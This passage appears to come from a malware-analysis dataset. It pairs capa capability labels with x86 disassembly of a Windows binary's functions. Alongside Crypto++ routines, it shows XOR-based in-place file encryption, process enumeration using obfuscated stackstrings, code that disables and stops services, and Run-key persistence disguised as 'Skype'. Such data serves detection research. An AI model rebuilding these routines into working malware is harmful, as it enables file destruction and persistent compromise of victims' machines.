joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4188f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a3235
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x4d1a04]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], esi
xorps xmm0, xmm0
mov dword [ebp - 0x34], esi
push 0x40
lea ecx, [ebp - 0x28]
movups xmmword [ebp - 0x28], xmm0
call fcn.00412190
movups xmm0, xmmword [str.BufferedTransformation:_this_object_doesnt_allow_input]
mov edi, eax
mov dword [ebp - 0x18], 0x37
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x14], 0x3f
movups xmmword [edi], xmm0
movups xmm0, xmmword [0x4aca70]
movups xmmword [edi + 0x10], xmm0
movups xmm0, xmmword [0x4aca80]
movups xmmword [edi + 0x20], xmm0
mov eax, dword [0x4aca90]
mov dword [edi + 0x30], eax
mov ax, word [0x4aca94]
mov word [edi + 0x34], ax
mov al, byte [0x4aca96]
mov byte [edi + 0x36], al
mov byte [edi + 0x37], 0
xorps xmm0, xmm0
mov dword [ebp - 4], 0
movq qword [esi + 4], xmm0
mov dword [esi], vtable.CryptoPP::Exception.0
lea ecx, [esi + 0x10]
mov dword [esi + 0xc], 0
movups xmmword [esi + 0x10], xmm0
push 0x40
mov byte [ebp - 4], 1
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0xf
call fcn.00412190
mov dword [esi + 0x10], eax
mov dword [esi + 0x20], 0x37
mov dword [esi + 0x24], 0x3f
movups xmm0, xmmword [edi]
push 0x40
push edi
movups xmmword [eax], xmm0
movups xmm0, xmmword [edi + 0x10]
movups xmmword [eax + 0x10], xmm0
movups xmm0, xmmword [edi + 0x20]
movups xmmword [eax + 0x20], xmm0
movq xmm0, qword [edi + 0x30]
movq qword [eax + 0x30], xmm0
mov dword [esi], vtable.CryptoPP::NotImplemented.0
call fcn.0047153d
add esp, 8
mov dword [esi], vtable.CryptoPP::InputRejecting_class_CryptoPP::BufferedTransformation_::InputRejected.0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004717aa
mov esp, ebp
pop ebp
ret
Function at 0x418ac0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a3235
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x4d1a04]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], esi
xorps xmm0, xmm0
mov dword [ebp - 0x34], esi
push 0x40
lea ecx, [ebp - 0x28]
movups xmmword [ebp - 0x28], xmm0
call fcn.00412190
movups xmm0, xmmword [str.BufferedTransformation:_this_object_doesnt_allow_input]
mov edi, eax
mov dword [ebp - 0x18], 0x37
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x14], 0x3f
movups xmmword [edi], xmm0
movups xmm0, xmmword [0x4aca70]
movups xmmword [edi + 0x10], xmm0
movups xmm0, xmmword [0x4aca80]
movups xmmword [edi + 0x20], xmm0
mov eax, dword [0x4aca90]
mov dword [edi + 0x30], eax
mov ax, word [0x4aca94]
mov word [edi + 0x34], ax
mov al, byte [0x4aca96]
mov byte [edi + 0x36], al
mov byte [edi + 0x37], 0
xorps xmm0, xmm0
mov dword [ebp - 4], 0
movq qword [esi + 4], xmm0
mov dword [esi], vtable.CryptoPP::Exception.0
lea ecx, [esi + 0x10]
mov dword [esi + 0xc], 0
movups xmmword [esi + 0x10], xmm0
push 0x40
mov byte [ebp - 4], 1
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0xf
call fcn.00412190
mov dword [esi + 0x10], eax
mov dword [esi + 0x20], 0x37
mov dword [esi + 0x24], 0x3f
movups xmm0, xmmword [edi]
push 0x40
push edi
movups xmmword [eax], xmm0
movups xmm0, xmmword [edi + 0x10]
movups xmmword [eax + 0x10], xmm0
movups xmm0, xmmword [edi + 0x20]
movups xmmword [eax + 0x20], xmm0
movq xmm0, qword [edi + 0x30]
movq qword [eax + 0x30], xmm0
mov dword [esi], vtable.CryptoPP::NotImplemented.0
call fcn.0047153d
add esp, 8
mov dword [esi], vtable.CryptoPP::InputRejecting_class_CryptoPP::Filter_::InputRejected.0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004717aa
mov esp, ebp
pop ebp
ret
Function at 0x41d330
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov eax, dword [0x4d1a04]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
xorps xmm0, xmm0
mov ecx, dword [ebp + 0x18]
push ebx
mov ebx, dword [ebp + 8]
mov eax, dword [edx]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0x24]
mov dword [ebp - 0x64], eax
mov eax, dword [edx + 4]
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x54], ebx
push eax
push esi
push ecx
push ebx
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x48], ecx
movlpd qword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x4c], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp dword [ebp - 0x4c], esi
jne 0x41d498
cmp eax, dword [ebp + 0x14]
jne 0x41d498
mov ecx, dword [ebp - 0x48]
xor ebx, ebx
test esi, esi
je 0x41d41a
nop dword [eax]
mov eax, dword [edi + 0x80]
cmp eax, 0x40
jb 0x41d408
lea eax, [ebp - 0x44]
mov ecx, edi
push eax
call fcn.0041ff60
xor esi, esi
lea eax, [edi + 0x41]
nop dword [eax + eax]
mov edx, dword [ebp + esi*4 - 0x44]
lea eax, [eax + 4]
mov ecx, edx
mov byte [eax - 5], dl
shr ecx, 8
inc esi
mov byte [eax - 4], cl
mov ecx, edx
shr ecx, 0x10
shr edx, 0x18
mov byte [eax - 3], cl
mov byte [eax - 2], dl
cmp esi, 0x10
jb 0x41d3d0
mov esi, dword [ebp + 0x10]
xor eax, eax
mov ecx, dword [ebp - 0x48]
mov dword [edi + 0x80], 0
mov al, byte [eax + edi + 0x40]
xor byte [ebx + ecx], al
inc ebx
inc dword [edi + 0x80]
cmp ebx, esi
jb 0x41d3b0
mov edi, dword [ebp - 0x54]
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x4c]
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push ecx
push edi
call esi
mov eax, dword [ebp - 0x50]
xorps xmm0, xmm0
mov ecx, dword [ebp + 0x10]
movlpd qword [ebp - 0x80], xmm0
mov dword [ebp - 0x70], 0
add ecx, dword [eax]
mov eax, dword [eax + 4]
adc eax, dword [ebp + 0x14]
mov dword [ebp - 0x58], ecx
mov ecx, dword [ebp + 0x1c]
mov dword [ebp - 0x54], eax
add ecx, 0x125
mov eax, dword [ebp + 0x20]
adc eax, 0
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x50]
mov dword [ebp - 0x50], 0
push eax
push 8
lea eax, [ebp - 0x58]
push eax
push edi
call esi
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004717aa
mov esp, ebp
pop ebp
ret 0x20
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004717aa
mov esp, ebp
pop ebp
ret 0x20

Function at 0x41ee60
Capabilities:
Create thread

Disassembly:
push esi
push 0
push 0
mov esi, ecx
push esi
push 0x41f310
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x170], eax
pop esi
ret
Function at 0x420da0
Capabilities:
Contain obfuscated stackstrings
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1044
call fcn.00471c60
mov eax, dword [0x4d1a04]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x1040]
push edi
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
call sub.KERNEL32.dll_K32EnumProcesses
mov ebx, dword [ebp - 0x1040]
mov al, 0x10
shr ebx, 2
xor ecx, ecx
mov dword [ebp - 0x1038], 0x420010
mov dword [ebp - 0x1034], 0x730075
mov dword [ebp - 0x1030], 0x790075
mov dword [ebp - 0x102c], 0x750066
mov dword [ebp - 0x1028], 0x300074
mov dword [ebp - 0x1024], 0x790035
mov dword [ebp - 0x1020], 0x600030
mov dword [ebp - 0x101c], 0x7f0062
mov dword [ebp - 0x1018], 0x750073
mov dword [ebp - 0x1014], 0x630063
mov dword [ebp - 0x1010], 0x630075
mov dword [ebp - 0x100c], 0x1a
nop word [eax + eax]
cbw
xor word [ebp + ecx*2 - 0x1036], ax
inc ecx
cmp ecx, 0x16
jae 0x420e78
mov al, byte [ebp - 0x1038]
jmp 0x420e60
xor eax, eax
mov word [ebp - 0x100a], ax
lea eax, [ebp - 0x1036]
push ebx
push eax
call fcn.00421510
add esp, 8
xor edi, edi
test ebx, ebx
je 0x420fbc
nop dword [eax + eax]
push dword [ebp + edi*4 - 0x1004]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x1044], eax
test eax, eax
je 0x420ee5
mov ecx, dword [esi + 4]
cmp ecx, dword [esi + 8]
je 0x420ed1
mov dword [ecx], eax
add dword [esi + 4], 4
jmp 0x420fb3
lea eax, [ebp - 0x1044]
push eax
push ecx
mov ecx, esi
call fcn.0040a770
jmp 0x420fb3
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov dword [ebp - 0x103c], 0x460005
xor eax, eax
mov dword [ebp - 0x1038], 0x6b0064
mov cl, 5
mov dword [ebp - 0x1034], 0x6a006b
mov dword [ebp - 0x1030], 0x250071
mov dword [ebp - 0x102c], 0x660064
mov dword [ebp - 0x1028], 0x600066
mov dword [ebp - 0x1024], 0x760076
mov dword [ebp - 0x1020], 0x750025
mov dword [ebp - 0x101c], 0x6a0077
mov dword [ebp - 0x1018], 0x600066
mov dword [ebp - 0x1014], 0x760076
mov dword [ebp - 0x1010], 0x200025
mov dword [ebp - 0x100c], 0xf006c
mov word [ebp - 0x1008], ax
nop word [eax + eax]
movsx cx, cl
xor word [ebp + eax*2 - 0x103a], cx
inc eax
cmp eax, 0x19
jae 0x420f9a
mov cl, byte [ebp - 0x103c]
jmp 0x420f80
xor eax, eax
mov word [ebp - 0x1008], ax
lea eax, [ebp - 0x103a]
push edx
push eax
call fcn.00421510
add esp, 8
inc edi
cmp edi, ebx
jb 0x420ea0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004717aa
mov esp, ebp
pop ebp
ret
Function at 0x422420
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a4a60
mov eax, dword fs:[0]
push eax
mov eax, 0x2434
call fcn.00471c60
mov eax, dword [0x4d1a04]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
push 0xf003f
push 0
push 0
mov dword [ebp - 0x243c], eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
mov dword [ebp - 0x2440], esi
test esi, esi
je 0x42264b
mov edi, dword [sym.imp.ADVAPI32.dll_EnumServicesStatusW]
lea eax, [ebp - 0x242c]
push 0
push eax
lea eax, [ebp - 0x2434]
push eax
push 0
push 0
push 1
push 0x30
push esi
call edi
mov dword [ebp - 0x2438], 0
nop dword [eax]
nop dword [eax + eax]
lea eax, [ebp - 0x2438]
push eax
lea eax, [ebp - 0x242c]
push eax
lea eax, [ebp - 0x2434]
push eax
push 0x2400
lea eax, [ebp - 0x2410]
push eax
push 1
push 0x30
push esi
call edi
test eax, eax
jne 0x4224ed
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x422644
xor edi, edi
cmp dword [ebp - 0x242c], edi
jbe 0x422630
lea eax, [ebp - 0x2410]
mov dword [ebp - 0x2430], eax
push dword [eax]
call dword [sym.imp.USER32.dll_CharLowerW]
mov esi, eax
push 0x4ab6d4
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x42260e
push esi
call fcn.00422670
add esp, 4
test al, al
jne 0x42260e
mov eax, esi
mov dword [ebp - 0x2418], 0
xorps xmm0, xmm0
mov dword [ebp - 0x2414], 0
movups xmmword [ebp - 0x2428], xmm0
lea edx, [eax + 2]
nop dword [eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x422560
sub eax, edx
lea ecx, [ebp - 0x2428]
sar eax, 1
push eax
push esi
call fcn.0040a600
mov esi, dword [ebp - 0x243c]
mov dword [ebp - 4], 0
mov eax, dword [esi + 4]
cmp eax, dword [esi + 8]
je 0x4225bc
movups xmm0, xmmword [ebp - 0x2428]
mov ecx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x2418]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [esi + 4], 0x18
mov word [ebp - 0x2428], ax
jmp 0x4225d1
lea ecx, [ebp - 0x2428]
push ecx
push eax
mov ecx, esi
call fcn.00416210
mov ecx, dword [ebp - 0x2414]
mov dword [ebp - 4], 0xffffffff
cmp ecx, 8
jb 0x42260e
mov edx, dword [ebp - 0x2428]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x422604
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422666
push ecx
push edx
call fcn.0047153d
add esp, 8
mov eax, dword [ebp - 0x2430]
inc edi
add eax, 0x24
mov dword [ebp - 0x2430], eax
cmp edi, dword [ebp - 0x242c]
jb 0x422507
mov esi, dword [ebp - 0x2440]
cmp dword [ebp - 0x2434], 0
jbe 0x422644
mov edi, dword [sym.imp.ADVAPI32.dll_EnumServicesStatusW]
jmp 0x4224b0
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004717aa
mov esp, ebp
pop ebp
ret
call fcn.0047ce9f
int3
Function at 0x422720
Capabilities:
Check for time delay via gettickcount
Enumerate services
Modify service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [0x4d1a04]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 0x3c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, dword [sym.imp.ADVAPI32.dll_EnumDependentServicesW]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2c]
push eax
push 0
push 0
push 1
push esi
call edi
test eax, eax
jne 0x4228ca
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x4228e2
push dword [ebp - 0x2c]
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
mov dword [ebp - 0x44], ebx
test ebx, ebx
je 0x4228e2
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x2c]
push ebx
push 1
push esi
call edi
test eax, eax
je 0x4228e2
cmp dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
jbe 0x4228ca
mov eax, ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov dword [ebp - 0x38], eax
nop dword [eax]
movups xmm1, xmmword [eax]
movups xmm0, xmmword [eax + 0x10]
movd edi, xmm1
movups xmmword [ebp - 0x58], xmm0
push edi
call dword [sym.imp.USER32.dll_CharLowerW]
mov esi, eax
push 0x4ab6d4
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4228b1
push esi
call fcn.00422670
add esp, 4
test al, al
jne 0x4228b1
push 0x26
push edi
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 4
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test esi, esi
je 0x4228e2
lea eax, [ebp - 0x28]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x4228e2
cmp dword [ebp - 0x24], 1
je 0x42289f
nop dword [eax]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x2c]
push eax
push 0x24
lea eax, [ebp - 0x28]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x4228e2
cmp dword [ebp - 0x24], 1
je 0x42289f
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x40]
cmp eax, 0x3a98
ja 0x4228e2
push esi
call ebx
cmp dword [ebp - 0x24], 1
jne 0x422860
push dword [ebp - 0x44]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
inc ecx
add eax, 0x24
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], eax
cmp ecx, dword [ebp - 0x30]
jb 0x4227d0
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004717aa
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004717aa
mov esp, ebp
pop ebp
ret 8
Function at 0x424670
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
mov eax, dword [0x4d1a04]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x225]
push ecx
lea ecx, [ebp - 0x20c]
lea eax, [ecx + eax*2]
push eax
mov eax, ecx
lea ecx, [ebp - 0x224]
push eax
call fcn.0040a1e0
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x22c], 0
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x424713
mov eax, dword [ebp - 0x214]
lea ecx, [ebp - 0x224]
cmp dword [ebp - 0x210], 8
cmovae ecx, dword [ebp - 0x224]
lea eax, [eax*2 + 2]
push eax
push ecx
push 1
push 0
push str.Skype
push dword [ebp - 0x22c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x210]
cmp ecx, 8
jb 0x42474f
mov edx, dword [ebp - 0x224]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x424745
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42475d
push ecx
push edx
call fcn.0047153d
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004717aa
mov esp, ebp
pop ebp
ret
call fcn.0047ce9f
int3

Function at 0x427d80
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 8]
push ebx
push ebp
push esi
xor ebx, ebx
push edi
mov edi, dword [esp + 0x14]
cmp eax, 4
jb 0x427db4
mov esi, eax
shr esi, 2
nop dword [eax]
mov ecx, dword [edi]
sub eax, 4
xor ecx, dword [edx]
add edi, 4
or ebx, ecx
add edx, 4
sub esi, 1
jne 0x427da0
mov esi, ebx
mov ecx, ebx
shr esi, 8
xor ebp, ebp
or esi, ebx
shr ecx, 0x10
and esi, 0xff00
or esi, ecx
movzx ecx, bl
shr esi, 8
or esi, ecx
test eax, eax
je 0x427e94
mov ebx, edi
sub ebx, edx
cmp eax, 8
jb 0x427e73
mov ecx, eax
xorps xmm4, xmm4
and ecx, 0xfffffff8
xorps xmm3, xmm3
mov dword [esp + 0x1c], ecx
lea ecx, [edx + 4]
nop dword [eax]
movd xmm2, dword [edi + ebp]
lea ecx, [ecx + 8]
movd xmm1, dword [ecx - 0xc]
xorps xmm0, xmm0
punpcklbw xmm2, xmm0
add ebp, 8
punpcklbw xmm1, xmm0
punpcklwd xmm2, xmm0
punpcklwd xmm1, xmm0
xorps xmm2, xmm1
movd xmm1, dword [ecx - 8]
orps xmm4, xmm2
movd xmm2, dword [ebx + ecx - 8]
punpcklbw xmm2, xmm0
punpcklbw xmm1, xmm0
punpcklwd xmm2, xmm0
punpcklwd xmm1, xmm0
xorps xmm2, xmm1
orps xmm3, xmm2
cmp ebp, dword [esp + 0x1c]
jb 0x427e00
orps xmm3, xmm4
movaps xmm0, xmm3
psrldq xmm0, 8
orps xmm3, xmm0
movups xmm0, xmm3
psrldq xmm0, 4
orps xmm3, xmm0
movd ecx, xmm3
or esi, ecx
cmp ebp, eax
jae 0x427e94
lea edi, [edx + ebp]
sub eax, ebp
nop dword [eax + eax]
movzx edx, byte [ebx + edi]
lea edi, [edi + 1]
movzx ecx, byte [edi - 1]
xor edx, ecx
or esi, edx
sub eax, 1
jne 0x427e80
pop edi
test esi, esi
pop esi
pop ebp
sete al
pop ebx
ret
Function at 0x427ff0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 0x10]
sub esp, 0x18
test eax, eax
je 0x428186
mov edx, dword [esp + 0x20]
push ebx
mov ebx, dword [esp + 0x28]
push esi
mov esi, dword [esp + 0x24]
push edi
cmp eax, 4
jb 0x428033
mov edi, eax
shr edi, 2
mov ecx, dword [edx]
sub eax, 4
xor ecx, dword [ebx]
add edx, 4
mov dword [esi], ecx
add ebx, 4
add esi, 4
sub edi, 1
jne 0x428018
mov dword [esp + 0x34], eax
push ebp
xor ebp, ebp
mov dword [esp + 0x18], edx
mov dword [esp + 0x14], ebx
test eax, eax
je 0x428182
cmp eax, 8
jb 0x428167
lea ecx, [ebx - 1]
lea edi, [esi - 1]
add ecx, eax
add edi, eax
cmp esi, ecx
ja 0x428065
cmp edi, ebx
jae 0x428167
lea ecx, [edx - 1]
add ecx, eax
cmp esi, ecx
ja 0x428076
cmp edi, edx
jae 0x428167
cmp eax, 0x40
jb 0x428118
mov edi, eax
mov ecx, eax
and edi, 0x3f
mov eax, esi
sub eax, ebx
mov dword [esp + 0x24], edi
sub ecx, edi
mov dword [esp + 0x10], eax
mov edi, edx
mov dword [esp + 0x20], ecx
sub edi, ebx
lea ecx, [ebx + 0x10]
mov ebx, dword [esp + 0x10]
mov eax, edx
sub eax, esi
mov dword [esp + 0x1c], eax
lea eax, [esi + 0x20]
nop
movups xmm0, xmmword [ecx - 0x10]
lea ecx, [ecx + 0x40]
movups xmm1, xmmword [edx + ebp]
lea eax, [eax + 0x40]
xorps xmm1, xmm0
movups xmmword [eax - 0x60], xmm1
movups xmm0, xmmword [ecx - 0x40]
movups xmm1, xmmword [edi + ecx - 0x40]
xorps xmm1, xmm0
movups xmmword [ebx + ecx - 0x40], xmm1
mov ebx, dword [esp + 0x1c]
movups xmm0, xmmword [ecx - 0x30]
movups xmm1, xmmword [ebx + eax - 0x40]
mov ebx, dword [esp + 0x10]
xorps xmm1, xmm0
movups xmmword [eax - 0x40], xmm1
movups xmm1, xmmword [edx + ebp + 0x30]
add ebp, 0x40
movups xmm0, xmmword [ecx - 0x20]
xorps xmm1, xmm0
movups xmmword [eax - 0x30], xmm1
cmp ebp, dword [esp + 0x20]
jb 0x4280b0
cmp dword [esp + 0x24], 8
mov eax, dword [esp + 0x38]
mov ebx, dword [esp + 0x14]
jb 0x428163
jmp 0x42811c
mov edi, edx
sub edi, ebx
and eax, 0xfffffff8
lea ecx, [ebx + ebp]
mov dword [esp + 0x20], eax
mov eax, esi
sub eax, ebx
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x38]
mov edx, dword [esp + 0x24]
nop word [eax + eax]
movq xmm1, qword [ecx + edi]
lea ecx, [ecx + 8]
movq xmm0, qword [ecx - 8]
add ebp, 8
xorps xmm1, xmm0
movq qword [ecx + edx - 8], xmm1
cmp ebp, dword [esp + 0x20]
jb 0x428140
mov edx, dword [esp + 0x18]
cmp ebp, eax
jae 0x428182
sub edx, ebx
lea edi, [ebx + ebp]
sub esi, ebx
sub eax, ebp
mov cl, byte [edi + edx]
lea edi, [edi + 1]
xor cl, byte [edi - 1]
mov byte [edi + esi - 1], cl
sub eax, 1
jne 0x428170
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x18
ret
Function at 0x428190
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4282b1
mov edx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
push edi
cmp eax, 4
jb 0x4281c3
mov edi, eax
shr edi, 2
mov ecx, dword [esi]
sub eax, 4
xor dword [edx], ecx
add esi, 4
add edx, 4
sub edi, 1
jne 0x4281b1
push ebx
xor ebx, ebx
test eax, eax
je 0x4282ae
cmp eax, 8
jb 0x428291
lea ecx, [esi - 1]
lea edi, [edx - 1]
add ecx, eax
add edi, eax
cmp edx, ecx
ja 0x4281ed
cmp edi, esi
jae 0x428291
mov edi, esi
push ebp
cmp eax, 0x40
jb 0x428265
mov ecx, eax
mov ebp, eax
and ecx, 0x3f
sub ebp, ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x20], ebp
lea ecx, [edx + 0x10]
lea ebp, [esi + 0x30]
sub edi, edx
nop
movups xmm0, xmmword [ecx - 0x10]
add ebx, 0x40
lea ebp, [ebp + 0x40]
lea ecx, [ecx + 0x40]
movups xmm1, xmmword [ebp - 0x70]
xorps xmm1, xmm0
movups xmmword [ecx - 0x50], xmm1
movups xmm0, xmmword [ecx - 0x40]
movups xmm1, xmmword [edi + ecx - 0x40]
xorps xmm1, xmm0
movups xmmword [ecx - 0x40], xmm1
movups xmm0, xmmword [ecx - 0x30]
movups xmm1, xmmword [ebp - 0x50]
xorps xmm1, xmm0
movups xmmword [ecx - 0x30], xmm1
movups xmm1, xmmword [ecx - 0x20]
movups xmm0, xmmword [ebp - 0x40]
xorps xmm1, xmm0
movups xmmword [ecx - 0x20], xmm1
cmp ebx, dword [esp + 0x20]
jb 0x428210
cmp dword [esp + 0x10], 8
jb 0x42828c
jmp 0x428267
sub edi, edx
mov ebp, eax
lea ecx, [ebx + edx]
and ebp, 0xfffffff8
nop
movq xmm1, qword [edi + ecx]
lea ecx, [ecx + 8]
movq xmm0, qword [ecx - 8]
add ebx, 8
xorps xmm1, xmm0
movq qword [ecx - 8], xmm1
cmp ebx, ebp
jb 0x428270
pop ebp
cmp ebx, eax
jae 0x4282ae
sub esi, edx
lea edi, [ebx + edx]
sub eax, ebx
nop dword [eax + eax]
mov cl, byte [edi + esi]
lea edi, [edi + 1]
xor byte [edi - 1], cl
sub eax, 1
jne 0x4282a0
pop ebx
pop edi
pop esi
pop ecx
ret
Function at 0x42b4b0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a3235
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x4d1a04]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], esi
xorps xmm0, xmm0
mov dword [ebp - 0x34], esi
push 0x40
lea ecx, [ebp - 0x28]
movups xmmword [ebp - 0x28], xmm0
call fcn.00412190
movups xmm0, xmmword [str.Integer:_no_integer_satisfies_the_given_parameters]
mov edi, eax
mov dword [ebp - 0x18], 0x32
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x14], 0x3f
movups xmmword [edi], xmm0
movups xmm0, xmmword [0x4ad71c]
movups xmmword [edi + 0x10], xmm0
movups xmm0, xmmword [0x4ad72c]
movups xmmword [edi + 0x20], xmm0
mov ax, word [0x4ad73c]
mov word [edi + 0x30], ax
mov byte [edi + 0x32], 0
xorps xmm0, xmm0
mov dword [ebp - 4], 0
movq qword [esi + 4], xmm0
mov dword [esi], vtable.CryptoPP::Exception.0
lea ecx, [esi + 0x10]
mov dword [esi + 0xc], 6
movups xmmword [esi + 0x10], xmm0
push 0x40
mov byte [ebp - 4], 1
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0xf
call fcn.00412190
mov dword [esi + 0x10], eax
mov dword [esi + 0x20], 0x32
